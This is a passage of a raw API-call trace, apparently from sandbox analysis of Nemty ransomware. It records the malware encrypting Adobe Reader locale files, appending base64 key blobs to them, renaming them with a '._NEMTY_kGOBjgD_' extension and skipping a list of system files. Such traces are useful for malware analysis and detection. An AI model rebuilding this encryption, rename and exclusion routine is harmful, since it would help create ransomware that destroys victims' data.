[0176.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.FRA", lpUsedDefaultChar=0x0) returned 19 [0176.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0176.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.FRA", lpUsedDefaultChar=0x0) returned 19 [0176.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0176.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.FRA", lpUsedDefaultChar=0x0) returned 19 [0176.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.FRA", lpUsedDefaultChar=0x0) returned 19 [0176.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0176.982] Sleep (dwMilliseconds=0x5) [0176.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d24f570, dwHighDateTime=0x1d561e8)) [0176.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d24f570, dwHighDateTime=0x1d561e8)) [0176.996] GetLastError () returned 0x0 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.996] GetLastError () returned 0x0 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.996] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0176.996] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="JQ1GAyGK/lLWRGyRhUDMviRWJHQPP+mSrXGUcoHvKepXP/UW1PufAewqQM+Gl8Ra\r\neP92AIZTPcLwaQPg57Q20aKrcVcvktEEZ+7hX08hHMJwi1yM9eA/ekcwcdkdKqgq\r\nm4ZMjziwUfoAKJ5Tmv5MQNr6u+1MVEXhkOeH4KaKNTSK8yZ9K9hJh75TbOszRO6U\r\npHYbJ0duIc8dv6uwPt0AlglbnlRoaHU/Iuyx0i5zQS0mQmjbo4Gmb/1QmgWW4Yug\r\nQqeyZqzHCdOntgk0Vvd3sJvibixLdLQ4pM6LhARHdUj7VylPQtXdg6vQll6Madeh\r\nQU541ro94vpQYbIah984og==\r\n", pcchString=0x653e5dc) returned 1 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0176.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\AdobeCollabSync.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\adobecollabsync.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.997] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0176.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0176.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.997] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0176.999] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.999] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0176.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.999] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0176.999] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.999] CloseHandle (hObject=0x2e8) returned 1 [0176.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0176.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0176.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0176.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0176.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.999] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\AdobeCollabSync.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\adobecollabsync.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\AdobeCollabSync.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\adobecollabsync.fra._nemty_kgobjgd_")) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.000] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.FRA", cAlternateFileName="")) returned 1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2=".") returned 1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="..") returned 1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="...") returned 1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="windows") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="rsa") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="NTDETECT.COM") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="ntldr") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="MSDOS.SYS") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="IO.SYS") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="boot.ini") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="boot.ini") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="AUTOEXEC.BAT") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="ntuser.dat") returned -1 [0177.000] lstrcmpiW (lpString1="Annots.FRA", lpString2="desktop.ini") returned -1 [0177.001] lstrcmpiW (lpString1="Annots.FRA", lpString2="CONFIG.SYS") returned -1 [0177.001] lstrcmpiW (lpString1="Annots.FRA", lpString2="RECYCLER") returned -1 [0177.001] lstrcmpiW (lpString1="Annots.FRA", lpString2="BOOTSECT.BAK") returned -1 [0177.001] lstrcmpiW (lpString1="Annots.FRA", lpString2="bootmgr") returned -1 [0177.001] lstrcmpiW (lpString1="Annots.FRA", lpString2="programdata") returned -1 [0177.001] lstrcmpiW (lpString1="Annots.FRA", lpString2="appdata") returned -1 [0177.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.FRA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.001] Sleep (dwMilliseconds=0x5) [0177.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2756d0, dwHighDateTime=0x1d561e8)) [0177.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2756d0, dwHighDateTime=0x1d561e8)) [0177.011] GetLastError () returned 0x0 [0177.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.011] GetLastError () returned 0x0 [0177.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.011] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.011] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.012] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.012] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="nNKMAoKgNmp0ru1Sr9MFDPNpSZt3b3Fak4EFRHmEOUwpJxhg06cmq+R63zEGzJA5\r\n7DuWuntBV6bu7YjuRSaULVOomE39kCQ44c+crEp1yfasZh/xbSjv1mILICiY1wDG\r\nELOYh0kuUruv5DwDKFd/T+z4Ncq8LRn31g21lJOQqopxaC6pQgW8HpaiozG/DZpX\r\nhxIqR+aWI4BKvitXjRrH8Np3+yHyk4JfN1p+KoOWGtyKNkOJVqrTaPBAnA6SghHD\r\n5N+ERTDWQAhaHGT+vQd+j5b+g2ST/+uU5I6H3yTvIp+lPZCPNWJPmsjtd+D/f9Pd\r\nnONbmX7eWHp1ZPR3xO6hzQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Annots.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\annots.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.012] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=521728) returned 1 [0177.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.012] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.012] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.021] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.021] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.021] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=521728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f600 [0177.021] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.023] CloseHandle (hObject=0x2e8) returned 1 [0177.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.023] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Annots.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\annots.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Annots.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\annots.fra._nemty_kgobjgd_")) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.025] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 